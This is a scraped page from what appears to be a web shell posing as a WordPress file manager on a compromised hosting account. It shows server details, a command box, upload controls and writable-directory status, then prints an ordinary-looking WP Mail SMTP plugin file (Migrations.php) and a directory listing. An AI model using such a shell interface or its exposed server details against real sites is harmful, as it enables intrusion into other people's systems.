GRAYBYTE WORDPRESS FILE MANAGER7033

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/wp-mail-smtp/src/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/wp-mail-smtp/src//Migrations.php
<?php

namespace WPMailSMTP;

use WP_Upgrader;
use WPMailSMTP\Admin\DebugEvents\Migration as DebugEventsMigration;
use WPMailSMTP\Queue\Migration as QueueMigration;

/**
 * Class Migrations.
 *
 * @since 4.0.0
 */
class Migrations {

	/**
	 * Register hooks.
	 *
	 * @since 4.0.0
	 */
	public function hooks() {

		// Initialize migrations during request in the admin panel only.
		add_action( 'admin_init', [ $this, 'init_migrations_on_request' ] );

		// Initialize migrations after plugin update.
		add_action( 'upgrader_process_complete', [ $this, 'init_migrations_after_upgrade' ], PHP_INT_MAX, 2 );
		add_action(
			'wp_ajax_nopriv_wp_mail_smtp_init_migrations',
			[ $this, 'init_migrations_ajax_handler' ]
		);
	}

	/**
	 * Initialize DB migrations during request.
	 *
	 * @since 4.0.0
	 */
	public function init_migrations_on_request() {

		// Do not initialize migrations during AJAX and cron requests.
		if ( WP::is_doing_ajax() || wp_doing_cron() ) {
			return;
		}

		$this->init_migrations();
	}

	/**
	 * Initialize DB migrations.
	 *
	 * @since 4.0.0
	 */
	private function init_migrations() {

		$migrations = $this->get_migrations();

		foreach ( $migrations as $migration ) {
			if ( is_subclass_of( $migration, MigrationAbstract::class ) && $migration::is_enabled() ) {
				( new $migration() )->init();
			}
		}
	}

	/**
	 * Get migrations classes.
	 *
	 * @since 4.0.0
	 *
	 * @return array Migrations classes.
	 */
	private function get_migrations() {

		$migrations = [
			Migration::class,
			DebugEventsMigration::class,
			QueueMigration::class,
		];

		/**
		 * Filters DB migrations classes.
		 *
		 * @deprecated 4.0.0
		 *
		 * @since 3.0.0
		 *
		 * @param array $migrations Migrations classes.
		 */
		$migrations = apply_filters_deprecated(
			'wp_mail_smtp_core_init_migrations',
			[ $migrations ],
			'3.10.0',
			'wp_mail_smtp_migrations_get_migrations'
		);

		/**
		 * Filters DB migrations classes.
		 *
		 * @since 4.0.0
		 *
		 * @param array $migrations Migrations classes.
		 */
		return apply_filters( 'wp_mail_smtp_migrations_get_migrations', $migrations );
	}

	/**
	 * Initialize DB migrations after plugin update.
	 * Initiate ajax call to perform the migration with the new plugin version code.
	 *
	 * @since 4.0.0
	 *
	 * @param WP_Upgrader $upgrader WP_Upgrader instance.
	 * @param array       $options  Array of update data.
	 */
	public function init_migrations_after_upgrade( $upgrader, $options ) {

		if (
			// Skip if in admin panel.
			( is_admin() && ! wp_doing_ajax() ) ||
			// Skip if it's update from plugins list page.
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
			( wp_doing_ajax() && isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'update-plugin' )
		) {
			return;
		}

		$plugins = [];

		if ( isset( $options['plugins'] ) && is_array( $options['plugins'] ) ) {
			$plugins = $options['plugins'];
		} elseif ( isset( $options['plugin'] ) && is_string( $options['plugin'] ) ) {
			$plugins = [ $options['plugin'] ];
		}

		if (
			! in_array( 'wp-mail-smtp/wp_mail_smtp.php', $plugins, true ) &&
			! in_array( 'wp-mail-smtp-pro/wp_mail_smtp.php', $plugins, true )
		) {
			return;
		}

		$url = add_query_arg(
			[
				'action' => 'wp_mail_smtp_init_migrations',
			],
			admin_url( 'admin-ajax.php' )
		);

		$timeout = (int) ini_get( 'max_execution_time' );

		$args = [
			'sslverify' => false,
			'timeout'   => $timeout ? $timeout : 30,
		];

		wp_remote_post( $url, $args );
	}

	/**
	 * Initialize migrations via AJAX request.
	 *
	 * @since 4.0.0
	 */
	public function init_migrations_ajax_handler() {

		$this->init_migrations();

		wp_send_json_success();
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Admin
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Compatibility
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Helpers
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Providers
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Queue
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Reports
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Tasks
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
UsageTracking
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
giriqfky / giriqfky
0644
AbstractConnection.php
1.09 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Conflicts.php
15.015 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Connect.php
9.184 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Connection.php
0.941 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
ConnectionInterface.php
1.014 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
ConnectionsManager.php
0.747 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Core.php
33.451 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
DBRepair.php
6.286 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Debug.php
3.497 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Geo.php
6.758 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
MailCatcher.php
1.633 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
MailCatcherInterface.php
1.157 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
MailCatcherTrait.php
13.429 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
MailCatcherV6.php
1.474 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Migration.php
12.107 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
MigrationAbstract.php
3.211 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Migrations.php
3.592 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
OptimizedEmailSending.php
1.167 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Options.php
46.444 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Processor.php
14.063 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
SiteHealth.php
12.63 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Upgrade.php
1.55 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
Uploads.php
5.436 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
WP.php
20.078 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
WPMailArgs.php
4.442 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644
WPMailInitiator.php
4.38 KB
June 05 2025 17:33:30
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF